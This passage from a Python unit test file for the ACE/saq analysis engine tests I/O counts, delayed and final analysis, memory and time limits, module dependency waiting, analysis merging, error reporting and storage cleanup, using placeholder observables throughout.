at this point it should have loaded the root analysis # and then saved it again along with the details for the BasicTestAnalysis self.assertEquals(_get_io_write_count(), 3) self.assertEquals(_get_io_read_count(), 1) from saq.modules.test import BasicTestAnalysis root = create_root_analysis(storage_dir=root.storage_dir) root.load() self.assertEquals(_get_io_write_count(), 3) self.assertEquals(_get_io_read_count(), 2) analysis = root.get_observable(observable.id).get_analysis(BasicTestAnalysis) self.assertEquals(_get_io_read_count(), 2) # should not have loaded details yet... self.assertTrue(analysis.test_result) self.assertEquals(_get_io_read_count(), 3) @track_io def test_delayed_analysis_io_count(self): self.assertEquals(_get_io_write_count(), 0) self.assertEquals(_get_io_read_count(), 0) root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, '00:01|00:05') root.save() root.schedule() self.assertEquals(_get_io_write_count(), 1) self.assertEquals(_get_io_read_count(), 0) engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() # expect 5 writes at this point # (1) initial root analysis save # (2) initial module save # (3) root analysis completed save # (4) updated module save # (5) root analysis completed save self.assertEquals(_get_io_write_count(), 5) # and then 4 reads (one LOAD for each, iterated twice) self.assertEquals(_get_io_read_count(), 3) from saq.modules.test import DelayedAnalysisTestAnalysis root = create_root_analysis(uuid=root.uuid) self.assertTrue(root.load()) self.assertEquals(_get_io_write_count(), 5) self.assertEquals(_get_io_read_count(), 4) analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis) self.assertIsNotNone(analysis) self.assertEquals(_get_io_read_count(), 4) # should not have loaded details yet... self.assertTrue(analysis.delayed_request) self.assertEquals(_get_io_read_count(), 5) def test_autorefresh(self): saq.CONFIG['service_engine']['auto_refresh_frequency'] = '3' engine = TestEngine(pool_size_limit=1) engine.start() wait_for_log_count('triggered reload of worker modules', 1) wait_for_log_count('detected death of process', 1) engine.controlled_stop() engine.wait() def test_memory_limit(self): from saq.database import Workload, Lock # reduce the limits so the test is easier saq.CONFIG['global']['memory_limit_warning'] = '128' saq.CONFIG['global']['memory_limit_kill'] = '256' root = create_root_analysis() root.initialize_storage() observable = root.add_observable(F_TEST, 'test_memory_limit_warning') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.start() time.sleep(3) engine.controlled_stop() engine.wait() # we should see a warning message about taking up too much memory wait_for_log_count('is using too much memory', 1) # same thing as before except we allocate so much memory we force ace to kill the process root = create_root_analysis() root.initialize_storage() observable = root.add_observable(F_TEST, 'test_memory_limit_kill') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.start() time.sleep(3) engine.controlled_stop() engine.wait() # we should see a warning message about taking up too much memory wait_for_log_count('used too much memory', 1, 10) # we should NOT see a workload item or a lock left self.assertEquals(saq.db.query(Workload.id).count(), 0) self.assertEquals(saq.db.query(Lock.uuid).count(), 0) def test_final_analysis(self): """Test final analysis execution.""" root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_test_final_analysis') engine.controlled_stop() engine.start() engine.wait() # we should have a single observable now root = create_root_analysis(uuid=root.uuid) root.load() self.assertEquals(len(root.all_observables), 1) self.assertTrue(root.has_observable(F_TEST, 'test')) from saq.modules.test import FinalAnalysisTestAnalysis analysis = root.get_observable(observable.id).get_analysis(FinalAnalysisTestAnalysis) self.assertIsNotNone(analysis) # we should have seen this twice since the modification of adding an analysis will triggert # final analysis again self.assertEquals(log_count('entering final analysis for '), 2) @track_io def test_final_analysis_io_count(self): self.assertEquals(_get_io_write_count(), 0) self.assertEquals(_get_io_read_count(), 0) root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() self.assertEquals(_get_io_write_count(), 1) self.assertEquals(_get_io_read_count(), 0) engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_test_final_analysis') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(_get_io_write_count(), 3) self.assertEquals(_get_io_read_count(), 1) self.assertEquals(log_count('entering final analysis for '), 2) @track_io def test_final_analysis_io_count_2(self): """Same thing as before but we test with multiple observables.""" self.assertEquals(_get_io_write_count(), 0) self.assertEquals(_get_io_read_count(), 0) root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable_1 = root.add_observable(F_TEST, 'test_01') observable_2 = root.add_observable(F_TEST, 'test_02') root.save() root.schedule() self.assertEquals(_get_io_write_count(), 1) self.assertEquals(_get_io_read_count(), 0) engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_test_final_analysis') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(_get_io_write_count(), 4) self.assertEquals(_get_io_read_count(), 1) self.assertEquals(log_count('entering final analysis for '), 3) # ensure that post analysis is executed even if delayed analysis times out def test_delayed_analysis_timeout(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') test_observable = root.add_observable(F_TEST, '0:01|0:01') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis_timeout', 'test_groups') engine.enable_module('analysis_module_test_post_analysis', 'test_groups') engine.start() # wait for delayed analysis to time out wait_for_log_count('has timed out', 1) engine.controlled_stop() engine.wait() # post analysis should have executed self.assertEquals(log_count('execute_post_analysis called'), 1) def test_delayed_analysis_recovery(self): from saq.database import DelayedAnalysis, Workload # scenario: delayed analysis starts, ace engine stops and then starts back up # the delayed analysis should pick back up and complete root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.storage_dir = storage_dir_from_uuid(root.uuid) root.initialize_storage() observable = root.add_observable(F_TEST, '0:05|0:10') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() # wait until we see the delay in the queue wait_for_log_count('queue sizes workload 0 delayed 1', 1) # now kill the engine engine.stop() engine.wait() # we should have one delayed analysis still in the queue self.assertEquals(saq.db.query(DelayedAnalysis.id).count(), 1) # and nothing in the workload queue self.assertEquals(saq.db.query(Workload.id).count(), 0) # start another engine back up engine = TestEngine() engine.enable_module('analysis_module_test_delayed_analysis') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import DelayedAnalysisTestAnalysis root = create_root_analysis(uuid=root.uuid, storage_dir=storage_dir_from_uuid(root.uuid)) root.load() analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis) self.assertIsNotNone(analysis) self.assertTrue(analysis.initial_request) self.assertTrue(analysis.delayed_request) self.assertEquals(analysis.request_count, 2) self.assertTrue(analysis.completed) # queue should be empty saq.db.close() self.assertEquals(saq.db.query(DelayedAnalysis.id).count(), 0) self.assertEquals(saq.db.query(Workload.id).count(), 0) def test_wait_for_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B)) self.assertEquals(log_count("depends on"), 1) def test_wait_for_analysis_instance(self): # same as test_wait_for_analysis except we wait for instanced modules root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_7') # <-- test 7 root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a_instance', 'test_groups') engine.enable_module('analysis_module_test_wait_b_instance', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A, instance='instance1')) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B, instance='instance1')) self.assertEquals(log_count("depends on"), 1) def test_wait_for_analysis_instance_multi(self): # same as test_wait_for_analysis_instance except we wait for another instance of the same module root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_8') # <-- test 8 root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a_instance', 'test_groups') engine.enable_module('analysis_module_test_wait_a_instance_2', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A, instance='instance1')) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A, instance='instance1')) self.assertEquals(log_count("depends on"), 1) def test_wait_for_disabled_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') #engine.enable_module('analysis_module_test_wait_b') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B)) #self.assertEquals(log_count("requested to wait for disabled (or missing) module"), 1) self.clear_error_reports() def test_wait_for_analysis_circ_dep(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_2') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B)) self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 1) def test_wait_for_analysis_missing_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_3') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertFalse(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B)) # we would only see this log if A waited on B #self.assertEquals(log_count("did not generate analysis to resolve dep"), 1) def test_wait_for_analysis_circ_dep_chained(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_4') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.enable_module('analysis_module_test_wait_c', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B)) self.assertIsNone(test_observable.get_analysis(WaitAnalysis_C)) self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 1) def test_wait_for_analysis_chained(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_5') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.enable_module('analysis_module_test_wait_c', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_C)) self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 0) def test_wait_for_analysis_delayed(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_6') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B)) def test_wait_for_analysis_rejected(self): from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C, \ WaitAnalyzerModule_B root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_engine_032a') test_observable.exclude_analysis(WaitAnalyzerModule_B) root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_wait_a', 'test_groups') engine.enable_module('analysis_module_test_wait_b', 'test_groups') engine.enable_module('analysis_module_test_wait_c', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) self.assertIsNotNone(test_observable) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A)) self.assertFalse(test_observable.get_analysis(WaitAnalysis_B)) self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_C)) def test_post_analysis_after_false_return(self): # the execute_post_analysis function should be called regardless of what happened during analysis root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_test_post_analysis', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) from saq.modules.test import PostAnalysisTestResult self.assertFalse(test_observable.get_analysis(PostAnalysisTestResult)) self.assertEquals(log_count('execute_post_analysis called'), 1) def test_maximum_cumulative_analysis_warning_time(self): # setting this to zero should cause it to happen right away saq.CONFIG['global']['maximum_cumulative_analysis_warning_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('ACE has been analyzing'), 1) def test_maximum_cumulative_analysis_warning_time_analysis_mode(self): # same thing as before except we set the timeout for just the analysis mode # setting this to zero should cause it to happen right away saq.CONFIG['analysis_mode_test_groups']['maximum_cumulative_analysis_warning_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('ACE has been analyzing'), 1) def test_maximum_cumulative_analysis_fail_time(self): # setting this to zero should cause it to happen right away saq.CONFIG['global']['maximum_cumulative_analysis_fail_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('ACE took too long to analyze'), 1) def test_maximum_cumulative_analysis_fail_time_analysis_mode(self): # same thing as before except we set the timeout for just the analysis mode # setting this to zero should cause it to happen right away saq.CONFIG['analysis_mode_test_groups']['maximum_cumulative_analysis_fail_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() self.assertEquals(log_count('ACE took too long to analyze'), 1) def test_maximum_analysis_time(self): # setting this to zero should cause it to happen right away saq.CONFIG['global']['maximum_analysis_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_4') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() # will fire again in final analysis self.assertEquals(log_count('excessive time - analysis module'), 2) def test_maximum_analysis_time_analysis_mode(self): # same thing as before except we set the timeout for just the analysis mode # setting this to zero should cause it to happen right away saq.CONFIG['analysis_mode_test_groups']['maximum_analysis_time'] = '0' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_4') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() # will fire again in final analysis self.assertEquals(log_count('excessive time - analysis module'), 2) def test_is_module_enabled(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test') root.save() root.schedule() engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_dependency_test', 'test_groups') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() test_observable = root.get_observable(test_observable.id) from saq.modules.test import DependencyTestAnalysis, KEY_SUCCESS, KEY_FAIL analysis = test_observable.get_analysis(DependencyTestAnalysis) for key in analysis.details[KEY_SUCCESS].keys(): with self.subTest(target=KEY_SUCCESS, key=key): self.assertTrue(analysis.details[KEY_SUCCESS][key]) for key in analysis.details[KEY_FAIL].keys(): with self.subTest(target=KEY_FAIL, key=key): self.assertFalse(analysis.details[KEY_FAIL][key]) def test_analysis_mode_priority(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() test_1_uuid = root.uuid root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_2') root.save() root.schedule() test_2_uuid = root.uuid engine = TestEngine(analysis_pools={'test_groups': 1}) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # we should see test_2_uuid get selected BEFORE test_1_uuid gets selected results = [_.getMessage() for _ in search_log('got work item')] self.assertEquals(len(results), 2) self.assertEquals(results.index('got work item RootAnalysis({})'.format(test_2_uuid)), 0) def test_analysis_mode_no_priority(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() test_1_uuid = root.uuid root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() test_observable = root.add_observable(F_TEST, 'test_2') root.save() root.schedule() test_2_uuid = root.uuid engine = TestEngine(pool_size_limit=1) engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # since we don't have any kind of priority set they should get selected in order they were inserted (FIFO) # so we should see test_1_uuid get selected BEFORE test_2_uuid gets selected results = [_.getMessage() for _ in search_log('got work item')] self.assertEquals(len(results), 2) self.assertEquals(results.index('got work item RootAnalysis({})'.format(test_1_uuid)), 0) def test_merge(self): # first analysis root_1 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root_1.initialize_storage() test_observable_1 = root_1.add_observable(F_TEST, 'test_1') existing_user_observable = root_1.add_observable(F_USER, 'admin') root_1.save() root_1.schedule() # second analysis we want to merge into the first root_2 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root_2.initialize_storage() test_observable_2 = root_2.add_observable(F_TEST, 'merge_test_1') root_2.save() root_2.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.enable_module('analysis_module_merge_test') engine.controlled_stop() engine.start() engine.wait() from saq.modules.test import BasicTestAnalysis, MergeTestAnalysis root_1.load() test_observable_1 = root_1.get_observable(test_observable_1.id) self.assertIsNotNone(test_observable_1) basic_analysis = test_observable_1.get_analysis(BasicTestAnalysis) self.assertIsNotNone(basic_analysis) root_2.load() root_1.merge(basic_analysis, root_2) root_1.save() # now the basic analysis should have the test_observable_2 test_observable_2 = root_1.get_observable(test_observable_2.id) self.assertIsNotNone(test_observable_2) # and it should have the merge analysis merge_analysis = test_observable_2.get_analysis(MergeTestAnalysis) self.assertIsNotNone(merge_analysis) # and that should have a new observable of it's own output_observable = merge_analysis.get_observables_by_type(F_TEST) self.assertEquals(len(output_observable), 1) output_observable = output_observable[0] self.assertEquals(output_observable.value, 'test_output') self.assertTrue(output_observable.has_tag('test')) # there should also be a file observable file_observable = merge_analysis.get_observables_by_type(F_FILE) self.assertEquals(len(file_observable), 1) file_observable = file_observable[0] with open(os.path.join(root_1.storage_dir, file_observable.value), 'r') as fp: self.assertEquals(fp.read(), 'test') # that should have a relationship to a URL observable self.assertEquals(len(file_observable.relationships), 1) self.assertEquals(file_observable.relationships[0].r_type, R_DOWNLOADED_FROM) url_observable = file_observable.relationships[0].target self.assertTrue(isinstance(url_observable, Observable)) self.assertTrue(url_observable.value, F_URL) # we also merged an existing observable # so we should see this observable twice existing_observable = root_1.get_observable(existing_user_observable.id) self.assertIsNotNone(existing_observable) instance_copy = merge_analysis.get_observables_by_type(F_USER) self.assertEquals(len(instance_copy), 1) self.assertEquals(instance_copy[0].id, existing_observable.id) def test_error_reporting(self): # trigger the failure this way saq.CONFIG['global']['maximum_cumulative_analysis_fail_time'] = '0' # remember what was already in the error reporting directory def _enum_error_reporting(): return set(os.listdir(os.path.join(saq.DATA_DIR, 'error_reports'))) existing_reports = _enum_error_reporting() root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, 'test_3') root.save() root.schedule() engine = TestEngine() engine.copy_analysis_on_error = True engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # look at what is in the error reporting directory now # exclude what we found before to find the new stuff new_reports = _enum_error_reporting() - existing_reports # we should have a single error report and a single storage directory in the error reporting directory self.assertEquals(len(new_reports), 2) # one should be a file and the other a directory file_path = None dir_path = None for _file in new_reports: path = os.path.join(os.path.join(saq.DATA_DIR, 'error_reports', _file)) if os.path.isfile(path): file_path = path if os.path.isdir(path): dir_path = path self.assertIsNotNone(file_path) self.assertIsNotNone(dir_path) # check that everything we expect to exist in the dir exists self.assertTrue(os.path.exists(os.path.join(dir_path, 'data.json'))) self.assertTrue(os.path.exists(os.path.join(dir_path, 'saq.log'))) self.assertTrue(os.path.isdir(os.path.join(dir_path, 'stats'))) self.assertTrue(os.path.isdir(os.path.join(dir_path, '.ace'))) # go ahead and remove these since we check for them after running tests to review actual error reports shutil.rmtree(dir_path) os.remove(file_path) def test_stats(self): # clear engine statistics if os.path.exists(os.path.join(saq.MODULE_STATS_DIR, 'ace')): shutil.rmtree(os.path.join(saq.MODULE_STATS_DIR, 'ace')) root = create_root_analysis(uuid=str(uuid.uuid4())) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() # there should be one subdir in the engine's stats dir self.assertEquals(len(os.listdir(os.path.join(saq.MODULE_STATS_DIR, 'ace'))), 1) subdir = os.listdir(os.path.join(saq.MODULE_STATS_DIR, 'ace')) subdir = subdir[0] # this should have a single stats file in it stats_files = os.listdir(os.path.join(os.path.join(saq.MODULE_STATS_DIR, 'ace', subdir))) self.assertEquals(len(stats_files), 1) # and it should not be empty self.assertGreater(os.path.getsize(os.path.join(os.path.join(saq.MODULE_STATS_DIR, 'ace', subdir, stats_files[0]))), 0) def test_exclusion(self): root = create_root_analysis(uuid=str(uuid.uuid4())) root.initialize_storage() observable = root.add_observable(F_TEST, 'test_6') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) # we should have two that were both excluded in different ways self.assertEquals(len(analysis.observables), 2) for new_observable in analysis.observables: new_observable = analysis.observables[0] new_analysis = new_observable.get_analysis(BasicTestAnalysis) self.assertFalse(new_analysis) def test_limited_analysis(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') observable.limit_analysis('basic_test') root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.enable_module('analysis_module_test_delayed_analysis') engine.enable_module('analysis_module_test_engine_locking') engine.enable_module('analysis_module_test_final_analysis') engine.enable_module('analysis_module_test_post_analysis') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) # there should only be one analysis performed self.assertEquals(len(observable.all_analysis), 1) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNotNone(analysis) self.assertTrue(len(search_log('analysis for test(test_1) limited to 1 modules (basic_test)')) > 0) def test_limited_analysis_invalid(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, 'test_1') observable.limit_analysis('basic_tast') # mispelled test root.save() root.schedule() engine = TestEngine() engine.enable_module('analysis_module_basic_test') engine.enable_module('analysis_module_test_delayed_analysis') engine.enable_module('analysis_module_test_engine_locking') engine.enable_module('analysis_module_test_final_analysis') engine.enable_module('analysis_module_test_post_analysis') engine.controlled_stop() engine.start() engine.wait() root = RootAnalysis(storage_dir=root.storage_dir) root.load() observable = root.get_observable(observable.id) self.assertIsNotNone(observable) # there should be no analysis self.assertEquals(len(observable.all_analysis), 0) from saq.modules.test import BasicTestAnalysis analysis = observable.get_analysis(BasicTestAnalysis) self.assertIsNone(analysis) self.assertTrue(len(search_log('specified unknown limited analysis')) > 0) #def test_cleanup(self): #root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_cleanup') #root.initialize_storage() #root.save() #root.schedule() #engine = TestEngine() #engine.controlled_stop() #engine.start() #engine.wait() #self.assertFalse(os.path.isdir(root.storage_dir)) def test_cleanup_alt_workdir(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_cleanup') root.storage_dir = workload_storage_dir(root.uuid) root.initialize_storage() root.save() root.schedule() engine = TestEngine() engine.controlled_stop() engine.start() engine.wait() self.assertFalse(os.path.isdir(root.storage_dir)) def test_no_cleanup(self): root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_empty') root.initialize_storage() root.save() root.schedule() engine = TestEngine() engine.controlled_stop() engine.start() engine.wait() self.assertTrue(os.path.isdir(root.storage_dir)) def test_cleanup_with_delayed_analysis(self): # we are set to cleanup, however, we don't because we have delayed analysis saq.CONFIG['analysis_mode_test_groups']['cleanup'] = 'yes' root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups') root.initialize_storage() observable = root.add_observable(F_TEST, '00:01|00:05') root.save() root.schedule() engine = 